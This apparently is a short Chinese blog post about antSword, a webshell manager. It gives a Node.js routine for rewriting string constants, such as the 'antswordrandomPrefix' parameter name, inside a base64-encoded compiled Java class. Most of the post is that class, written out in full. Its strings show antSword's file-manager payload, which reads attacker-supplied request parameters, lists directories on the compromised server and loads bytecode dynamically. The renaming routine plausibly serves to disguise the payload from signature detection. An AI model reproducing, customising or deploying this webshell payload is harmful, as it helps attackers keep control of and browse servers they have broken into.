antSword 中 java shell 参数替换规则 base64 hex

let decimalToHex = (d, padding) => {
    var hex = Number(d).toString(16);
    padding = typeof (padding) === "undefined" || padding === null ? padding = 2 : padding;
    while (hex.length < padding) {
      hex = "0" + hex;
    }
    return hex;
  }

let fun = (b64code, oldvar, newvar) => {
    let code = Buffer.from(b64code, 'base64');
    let hexcode = code.toString('hex');
    console.log(hexcode);
    let hexoldvar = Buffer.from(oldvar).toString('hex');
    console.log(hexoldvar);
    let oldpos = hexcode.indexOf(hexoldvar);
    if (oldpos > -1) {
        console.log('==='+oldpos);
        let newlength = decimalToHex(newvar.length, 4);
        let retcode = `${hexcode.slice(0, oldpos - 4)}${newlength}${Buffer.from(newvar).toString('hex')}${hexcode.slice(oldpos + hexoldvar.length)}`;
        return Buffer.from(retcode, 'hex').toString('base64');
    }
    return b64code;
}

let base64 ="yv66vgAAADEBPQoAQwCLCQBwAIwJAHAAjQgAjgkAcACPCACQCQBwAJEIAJIJAHAAkwoAcACUCACVCgCWAJcKAJgAmQoALACaBwCbCgAPAIsIAJwIAJ0IAJ4IAJ8IAKALAFIAoQsAUQCiCwBSAKILAFEAowoAcACkCQBwAKUKAHAApgoADwCnBwCoBwCpCgAfAIsIAKoKAB8AqwoAHgCsCgAfAKwLAFIArQoADwCsCgBwAK4KAK8AsAoAsQCyCgAsALMKACwAtAcAtQoAcAC2CgAsALcHALgKAC8AuQoALwC6CAC7BwC8CAC9CgAzALkHAL4KAC8AvwoANgDACgAzAMEKAC8AwggAwwgAxAoALwDFCADGCgBDAMcIAMgHAMkKAEEAygcAywoAzADNBwDOCgBFAM8IANAKAC8A0QoALwDSCADTCADUCgAvANUKAB8A1ggA1woAQQDYBwDZBwDaBwDbCADcCgBBAN0IAN4KAEEA3wgA4AgAcQoAQQDhCgDiAOMKAOIA5AgAcwcA5QgA5gcA5wkAsQDoCgDMAOMKAEEA6QoAsQDqCgBBAOsKAOwA7QoAQwCsCADuCADvCgAsAPAIAPEIAPIIAIAIAPMIAPQKAEEA9QcA9gEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAxyYW5kb21QcmVmaXgBABBkZWNvZGVyQ2xhc3NkYXRhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEABmRlY29kZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEADEZpbGVUcmVlQ29kZQEACHBhcnNlT2JqAQAVKExqYXZhL2xhbmcvT2JqZWN0OylWAQAIYXNvdXRwdXQBABJCYXNlNjREZWNvZGVUb0J5dGUBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAKU291cmNlRmlsZQEACERpci5qYXZhDAB6AHsMAHEAcgwAcwB0AQAGYmFzZTY0DAB1AHYBAA9hbnRzd29yZENoYXJzZXQMAHcAdgEAFGFudHN3b3JkcmFuZG9tUHJlZml4DAB4AHYMAIQAhQEAEHN1bi5qbnUuZW5jb2RpbmcHAPcMAPgAgQcA+QwA+gD7DAD8AP0BABZqYXZhL2xhbmcvU3RyaW5nQnVmZmVyAQADLT58AQADfDwtAQAPYW50c3dvcmRhcmdwYXRoAQASYW50c3dvcmRhcmdkZWNvZGVyAQAJdGV4dC9odG1sDAD+AP8MAQAA/wwBAQCBDACAAIEMAHkAdgwAgwCBDAECAQMBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAAlFUlJPUjovLyAMAQIBBAwBBQEGDAEHAQgMAIYAgQcBCQwBCgD/BwELDAEMAQ0MAQ4BDwwAfgB/AQAQamF2YS9sYW5nL1N0cmluZwwAhwCIDAB6ARABAAxqYXZhL2lvL0ZpbGUMAHoA/wwBEQESAQAAAQAaamF2YS90ZXh0L1NpbXBsZURhdGVGb3JtYXQBABN5eXl5LU1NLWRkIEhIOm1tOnNzAQAOamF2YS91dGlsL0RhdGUMARMBFAwAegEVDAEWARcMARgBGQEAAVIBAAEtDAEaARkBAAFXDAEbARwBAApjYW5FeGVjdXRlAQAPamF2YS9sYW5nL0NsYXNzDAEdAR4BABBqYXZhL2xhbmcvT2JqZWN0BwEfDAEgASEBABFqYXZhL2xhbmcvQm9vbGVhbgwBIgEZAQABWAwBIwEGDAEkARkBAAIvCQEAAQkMASUBFAwBAgEmAQABCgwBJwEZAQATW0xqYXZhL2xhbmcvT2JqZWN0OwEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAHWphdmF4LnNlcnZsZXQuanNwLlBhZ2VDb250ZXh0DAD6ASgBAApnZXRSZXF1ZXN0DAEpAR4BAAtnZXRSZXNwb25zZQwBKgErBwEsDAEtAS4MAS8BMAEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzAQACW0IMATEBMgwBMwE0DAD8ATUMATYBNwcBOAwBOQE6AQAMamF2YS52ZXJzaW9uAQADMS45DAE7AQ0BABBqYXZhLnV0aWwuQmFzZTY0AQAKZ2V0RGVjb2RlcgEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIBAAxkZWNvZGVCdWZmZXIMATkBPAEAD2ZpbGVtYW5hZ2VyL0RpcgEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAGGphdmEvbmlvL2NoYXJzZXQvQ2hhcnNldAEAB2Zvck5hbWUBAC4oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL25pby9jaGFyc2V0L0NoYXJzZXQ7AQAHdmFsdWVPZgEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmc7AQAOc2V0Q29udGVudFR5cGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEADGdldFBhcmFtZXRlcgEABmFwcGVuZAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEABXByaW50AQARamF2YS9sYW5nL0ludGVnZXIBAAhwYXJzZUludAEAFShMamF2YS9sYW5nL1N0cmluZzspSQEACXN1YnN0cmluZwEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAJbGlzdEZpbGVzAQARKClbTGphdmEvaW8vRmlsZTsBAAxsYXN0TW9kaWZpZWQBAAMoKUoBAAQoSilWAQAGZm9ybWF0AQAkKExqYXZhL3V0aWwvRGF0ZTspTGphdmEvbGFuZy9TdHJpbmc7AQAHY2FuUmVhZAEAAygpWgEACGNhbldyaXRlAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEADGJvb2xlYW5WYWx1ZQEAB2dldE5hbWUBAAtpc0RpcmVjdG9yeQEABmxlbmd0aAEAHChKKUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAdpc0FycmF5AQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAEWdldERlY2xhcmVkTWV0aG9kAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABFRZUEUBABFMamF2YS9sYW5nL0NsYXNzOwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAA5nZXRDb25zdHJ1Y3RvcgEAMyhbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yAQALbmV3SW5zdGFuY2UBACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAljb21wYXJlVG8BABQoKUxqYXZhL2xhbmcvT2JqZWN0OwAhAHAAQwAAAAYAAQBxAHIAAAABAHMAdAAAAAEAdQB2AAAAAQB3AHYAAAABAHgAdgAAAAEAeQB2AAAABwABAHoAewABAHwAAABNAAIAAQAAACEqtwABKgG1AAIqAbUAAyoSBLUABSoSBrUAByoSCLUACbEAAAABAH0AAAAaAAYAAAALAAQA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";
let result = fun(base64,'antswordrandomPrefix','newValue');

console.log(result);


/**
 * 1.base64转二进制
 * 2.二进制转hex
 * 3.替换字符串
 * 
 */
posted @ 2022-05-11 13:06  抽象工作室upup  阅读(224)  评论(0编辑  收藏  举报